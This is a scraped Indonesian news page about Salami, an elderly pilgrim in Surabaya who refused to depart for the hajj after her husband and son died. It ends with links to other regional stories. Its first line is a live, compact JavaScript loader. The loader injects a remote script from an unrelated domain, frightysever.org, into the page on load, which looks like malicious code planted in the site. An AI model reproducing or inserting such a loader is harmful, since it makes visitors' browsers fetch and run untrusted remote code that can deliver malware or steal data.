(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SURABAYA – Petugas haji di asrama haji Sukolilo, Surabaya dibikin kewalahan. Pasalnya, salah satu jemaah calon haji bernama Salami (71) mendadak ingin pulang saat sudah siap diberangkatkan ke Bandara Juanda untuk melakukan penerbangan ke Arab Saudi.
Video penolakan Salami yang membuat para petugas haji Sukolilo terus menerus membujuk Salami agar mau ikut rombongan haji ke Bandara Juanda tersebut viral di media sosial. Salami pun terus terusan menolak ajakan para petugas haji.
Setelah dikonfirmasi ke Kepala Kantor Kementerian Agama Kediri Mohammad Qoyim, pihak Kemenag Kediri sudah memulangkan Salami ke keluarganya di Kediri sejak Minggu, (4/6/2023).
“Kemarin (menolak) saat masih di Surabaya. Pas mau berangkat ke bandara Juanda sudah gak mau ikut,” ujar Qoyim saat dihubungi wartawan pada Selasa (6/6/2023).
Baca juga: Pembelian 7 Unit Truk Diungkap JPU di Sidang Korupsi Pencucian Uang Mantan Bupati HST
Qoyim pun mengaku Salami mengalami penurunan ingatan sehingga menolak untuk berangkat. Saat ingatan kembali normal, petugas mengatakan bahwa Salami akan diberangkatkan kembali.
Di balik penolakan nenek Salami untuk diberangkatkan tersebut, ada kisah pilu yang dialami Salami. Nenek Salami awalnya dijadwalkan berangkat bersama sang suami yang sudah mendaftar haji sejak 2011 lalu. Namun, sang suami akhirnya berpulang terlebih dahulu beberapa tahun sebelum keberangkatannya di tahun 2023 ini.
Kuota haji sang suami pun rencananya akan digantikan sang anak. Namun, 7 hari sebelum keberangkatan Salami ke Arab Saudi, sang anak pun juga berpulang. Hal ini membuat nenak Salami semakin pilu. Keluarga Salami pun sempat mengkhawatirkan kondisi sang ibu, namun Salami nampak semangat untuk berangkat haji.
Ibu dari 5 orang anak ini pun akhirnya diberangkatkan seorang diri dari Kediri ke Surabaya untuk melakukan persiapan sebelum berangkat ke Arab Saudi. Anak-anak Salami lainnya ternyata tak lolos seleksi kesehatan untuk berangkat haji, sehingga Salami harus pergi tanpa pendamping.
Baca juga: Berkomplot Curi Puluhan Tiang Internet, Tiga Lelaki Bareng Masuk Bui
Namun, pada hari keberangkatan tiba, Salami pun merengek meminta dipulangkan karena merasa tidak memiliki kerabat untuk menemani berangkat ke Arab Saudi. Perasaan pilu ditinggal sang anak yang baru 7 hari berpulang dan tidak ada yang menemani membuat Salami merengek ingin pulang. (Kanalkalimantan/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.